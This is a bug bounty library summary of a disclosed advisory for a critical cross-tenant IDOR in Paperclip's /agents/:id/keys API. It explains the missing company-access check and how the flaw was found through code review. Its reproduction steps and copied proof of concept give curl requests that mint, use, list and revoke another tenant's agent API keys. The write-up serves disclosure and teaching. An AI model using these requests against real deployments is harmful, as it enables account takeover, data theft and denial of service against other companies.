# Paperclip: Cross-tenant agent API key IDOR in `/agents/:id/keys` routes allows full victim-company compromise

Paperclip's /agents/:id/keys routes only checked board session type, letting any board user mint agent API keys for other tenants and act as that agent.

- Payout: Research
- Severity: critical
- Program: Paperclip
- Found by: offset
- Disclosed: 2026-04-16
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-3xx2-mqjm-hg9x
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-3xx2-mqjm-hg9x
- Tags: area:web domain:api impact:ato impact:data-leak impact:dos impact:privesc kind:research platform:ghsa sev:critical tech:nodejs technique:source-review vuln:access-control vuln:auth-bypass vuln:idor

**Target:** Control-plane REST API agent key management routes (/agents/:id/keys)
**Root cause:** The GET/POST/DELETE key handlers call only assertBoard (actor.type === "board") and never assertCompanyAccess against the target agent's or key's companyId; the service layer likewise trusts the URL-supplied agent id and keyId.
**Steps:**
1. Authenticate as a board user with membership only in Company A; obtain a victim agent UUID in Company B from org-chart/issue/heartbeat surfaces.
2. `curl -sS -X POST https://target.example/api/agents/<VICTIM_COMPANY_B_AGENT_ID>/keys -H 'Cookie: <attacker-board-session>' -H 'Content-Type: application/json' -d '{"name":"pwn"}'` — response returns cleartext `token` with companyId set to Company B.
3. Use the token: `curl -sS https://target.example/api/agents/<VICTIM_COMPANY_B_AGENT_ID> -H 'Authorization: Bearer <CLEARTEXT_AGENT_TOKEN>'` — req.actor becomes {type:"agent", companyId:<CompanyB>} and passes assertCompanyAccess.
4. Enumerate keys via `GET /api/agents/<VICTIM_AGENT_ID>/keys` to learn keyIds, then revoke with `DELETE /api/agents/<ANY_AGENT_ID>/keys/<VICTIM_KEY_ID>` (revokeKey matches only on keyId).
**How found:** Code review of the agents router: noticed sibling routes (wakeup, heartbeat/invoke) call assertCompanyAccess(req, agent.companyId) while the three key routes only call assertBoard; confirmed assertBoard ignores companyIds and the service layer never cross-checks membership. Commit ac664df8 hardened sibling routes but missed these.
**Exploitation:** Attacker with any board session mints an agent API key for a victim-tenant agent via POST /agents/:id/keys; the returned cleartext token carries the victim's companyId, so all subsequent requests authenticate as a first-class agent principal inside Company B, granting full agent-level access (workflows, data, endpoints). Same primitive lists key metadata and revokes legitimate keys for cross-tenant DoS.
**Escalation:** Scope change: minimal Company-A board membership escalates to full confidentiality/integrity/availability compromise of Company B's tenant; DELETE only needs a keyId, obtainable from the equally-broken GET listing.
**Insight:** When a codebase has a narrow helper like assertBoard plus a separate assertCompanyAccess, grep every route using the narrow one and diff against hardened siblings in the same file — a prior authz-fix commit is a map of which routes were audited and which were missed. Also check DELETE handlers that key off a child id alone, since the parent id in the path is often decorative.

## Proof of concept (copied exactly from the original report)

**Cross-tenant POST minting victim agent key**

```
curl -sS -X POST https://target.example/api/agents/<VICTIM_COMPANY_B_AGENT_ID>/keys \
  -H 'Cookie: <attacker-board-session>' \
  -H 'Content-Type: application/json' \
  -d '{"name":"pwn"}'
```

**Using stolen token as victim agent**

```
curl -sS https://target.example/api/agents/<VICTIM_COMPANY_B_AGENT_ID> \
  -H 'Authorization: Bearer <CLEARTEXT_AGENT_TOKEN>'
```

**Cross-tenant list and revoke keys**

```
# Enumerate every key on a victim agent (learn keyIds):
curl -sS https://target.example/api/agents/<VICTIM_COMPANY_B_AGENT_ID>/keys \
  -H 'Cookie: <attacker-board-session>'
```

